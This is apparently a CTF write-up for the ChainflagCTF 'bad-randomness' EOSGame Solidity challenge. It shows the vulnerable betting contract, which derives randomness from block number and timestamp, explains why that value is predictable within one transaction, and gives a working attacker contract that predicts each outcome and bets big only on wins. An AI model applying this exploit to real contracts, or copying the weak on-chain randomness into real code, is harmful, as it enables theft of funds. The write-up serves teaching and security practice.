02.bad-randomness @EOSGame
2023-06-29 15:50:16 # 02.ChainflagCTF

bad-randomness(EOSGame)

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
/**
*Submitted for verification at Etherscan.io on 2018-11-26
*/

pragma solidity ^0.4.24;

/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {

/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b);

return c;
}

/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}

/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;

return c;
}

/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);

return c;
}

/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}

contract EOSToken{
using SafeMath for uint256;
string TokenName = "EOS";

uint256 totalSupply = 100**18;
address owner;
mapping(address => uint256) balances;

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

constructor() public{
owner = msg.sender;
balances[owner] = totalSupply;
}

function mint(address _to,uint256 _amount) public onlyOwner {
require(_amount < totalSupply);
totalSupply = totalSupply.sub(_amount);
balances[_to] = balances[_to].add(_amount);
}

function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
require(_amount < balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
}

function eosOf(address _who) public constant returns(uint256){
return balances[_who];
}
}


contract EOSGame{

using SafeMath for uint256;
mapping(address => uint256) public bet_count;
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
EOSToken eos;

event FLAG(string b64email, string slogan);

constructor() public{
eos=new EOSToken();
}

function initFund() public{
if(bet_count[tx.origin] == 0){
bet_count[tx.origin] = 1;
eos.mint(tx.origin, FUND);
}
}

function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}

function smallBlind() public {
eos.transfer(tx.origin, address(this), SMALL_CHIP);
bet(SMALL_CHIP);
}

function bigBlind() public {
eos.transfer(tx.origin, address(this), BIG_CHIP);
bet(BIG_CHIP);
}

function eosBlanceOf() public view returns(uint256) {
return eos.eosOf(tx.origin);
}

function CaptureTheFlag(string b64email) public{
require (eos.eosOf(tx.origin) > 18888);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}

analyses

this level is a number guessing game, but the number is a pseudo random number since there is no unknown information on-chain. Let’s analyses the code:

1
2
3
4
5
6
7
8
9
10
11
function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}
  • From the bet() we see that shark is unchanging, it is decided on block.number and block.timestamp, so we can guess many times in a tx.
  • We can imitate the guessing rules to obtain random numbers. Because our guess and EOSGame guess are located on the same tx, their block information is same.
  • lucky_hash will not change unless the bet_count[tx.origin] change, this means we should guess once in a tx or our guessing number will not change. In this case, I will call bigBlind if the guessing number is not right or I will call smallBlind(). Attention, maybe the tx will out of gas because we are not lucky enough to guess. Guessing wrong, it minus us 1 eosToken, but guessing right, we will get 20 * 100 -20 = 1980 eos token, it means we should guess right at least 10 times.

solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24;
import "./02.EOSGame.sol";
import "hardhat/console.sol";
contract EOSGameAttack {
EOSGame game;
using SafeMath for uint256;
uint256 MOD_NUM = 20;

constructor(address _addr){
game = EOSGame(_addr);
}

function attack() public {
while(true){
uint tmp = game.bet_count(tx.origin).add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(tmp)));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
console.log("第",tmp,"次猜测,","成功,执行bigBlind()");
game.bigBlind();
}else{
console.log("第",tmp,"次猜测,","没猜中");
game.smallBlind();
}
if(game.eosBlanceOf() > 18888){
break;
}
}
}
}

not lucky enought :( but our eosToken will not be minus,so we can guess again for the atomic transactions.

https://moe.photo/images/2023/05/21/image-20230521140111235.png

lucky enough :)

https://moe.photo/images/2023/05/21/image-20230521140056825.png